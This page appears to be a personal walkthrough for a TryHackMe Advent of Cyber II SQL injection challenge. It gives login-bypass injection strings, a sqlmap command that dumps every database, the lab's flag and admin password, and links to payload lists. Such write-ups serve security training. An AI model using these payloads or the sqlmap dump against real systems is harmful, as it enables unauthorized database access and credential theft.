Try Hack Me
  • Try Hack Me
  • Rooms
  • Tutorial
    • Welcome to TryHackMe
    • Welcome
    • Tutorial
    • Starting Out In Cyber Sec
    • Welcome
  • Capture The Flag
    • Advent of Cyber
      • Task 1 - 10
      • Task 11 - 20
      • Task 21 - 29
      • PDF - materials
    • Anonymous
    • Mnemonic
    • Bounty Hacker
    • Ignite
    • Pickle Rick
    • Simple CTF
    • Agent Sudo
    • Mr. Robot
  • Advent of Cyber II
    • A Christmas Crisis
    • The Elf Strikes Back!
    • Christmas Chaos
    • Santa's watching
    • Someone stole Santa's gift list!
    • Be careful with what you wish on a Christmas night
    • The Grinch Really Did Steal Christmas
    • What's Under the Christmas Tree?
    • Anyone can be Santa!
    • Don't be sElfish!
    • The Rogue Gnome
    • Ready, set, elf.
    • Coal for Christmas
    • Where's Rudolph?
    • There's a Python in my stocking!
    • Help! Where is Santa?
    • ReverseELFneering
    • The Bits of Christmas
    • The Naughty or Nice List
    • PowershELlF to the rescue
    • Time for some ELForensics
    • Elf McEager becomes CyberElf
    • The Grinch strikes again!
    • The Trial Before Christmas
    • Thank You
  • Linux
    • Linux Fundamentals Part 1
    • Linux Fundamentals Part 2
    • Linux Fundamentals Part 3
    • LinuxCTF - Linux Challenges
    • Learn Linux - wip
    • Find - wip
  • Windows
    • Intro to Windows
  • OSINT
    • Introductory Researching - wip
    • Google Dorking
    • OhSINT
    • Sublist3r
    • Searchlight - IMINT
    • Geolocating Images
  • Crypto
    • Hashing - Crypto 101
    • Encryption - Crypto 101
    • CrackTheHash - wip
  • Network
    • Introductory Networking
    • Nmap
    • Network Services - wip
    • Network Services 2 - wip
    • Networking - wip
    • Nmap - wip
    • TOR
  • Web
    • Web Fundamentals
  • Pentest
    • Pentest questionaire
  • Hardware
    • Dumping Router Firmware
  • HELP
  • Reverse
    • Reversing ELF
Powered by GitBook
On this page
  • Video
  • Resources
  • Challenge
  • Without using directory brute forcing, what's Santa's secret login panel?
  • Visit Santa's secret login panel and bypass the login using SQLi
  • How many entries are there in the gift database?
  • What did Paul ask for?
  • What is the flag?
  • What is admin's password?

Was this helpful?

  1. Advent of Cyber II

Someone stole Santa's gift list!

Web Exploitation ; sql injection ; sqli ; sqlmap

PreviousSanta's watchingNextBe careful with what you wish on a Christmas night

Last updated 4 years ago

Was this helpful?

Video

Resources

Challenge

Without using directory brute forcing, what's Santa's secret login panel?

/santapanel

Visit Santa's secret login panel and bypass the login using SQLi

Username 'or true --

Password '--

No answer needed

How many entries are there in the gift database?

Save Item

sqlmap -r santapanel.req --tamper=space2comment --dump-all -dbms sqlite

22

What did Paul ask for?

Github Ownership

What is the flag?

thmfox{All_I_Want_for_Christmas_Is_You}

What is admin's password?

EhCNSWzzFP6sc7gB

List of SQL Commands:

Check out this cheat sheet:

Payload list:

In-depth SQL Injection tutorial:

https://www.codecademy.com/articles/sql-commands
swisskyrepo/PayloadsAllTheThings
payloadbox/sql-injection-payload-list
SQLi Basics
SQLMAP cheatsheet